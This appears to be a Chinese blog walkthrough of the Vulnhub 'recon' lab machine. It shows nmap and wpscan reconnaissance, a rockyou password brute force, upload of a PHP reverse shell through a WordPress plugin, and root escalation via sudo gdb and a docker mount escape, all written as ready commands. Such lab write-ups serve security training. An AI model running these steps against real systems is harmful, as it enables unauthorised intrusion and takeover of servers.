Vulnhub:recon靶机
kali:192.168.111.111
靶机:192.168.111.188
信息收集
端口扫描
nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.188

访问web发现是wordpress网站

使用wpscan收集到两个用户名
wpscan --url http://192.168.111.188 -e u

wpscan爆破,得到账号密码:reconauthor|football7
wpscan --url http://192.168.111.188 -U user.txt -P /usr/share/wordlists/rockyou.txt

登录后台后选择Posts -> Add New -> e_Learning,上传反弹shell


这里需要上传zip压缩包,压缩包里需要有php反弹shell和至少一个html文件
zip php-reverse-shell.zip php-reverse-shell.php z.html



上传完成后访问该路径:/wp-content/uploads/articulate_uploads/shell/


获得反弹shell

提权
www-data用户sudo -l

提权方法:https://gtfobins.github.io/gtfobins/gdb/#sudo

切换到offensivehack用户
sudo -u offensivehack gdb -nx -ex '!sh' -ex quit

发现offensivehack用户处于docker组,提权方法:https://gtfobins.github.io/gtfobins/docker/

输入该命令获得root权限
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

获得flag

 
                    
                     
                    
                 
                    
                
 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号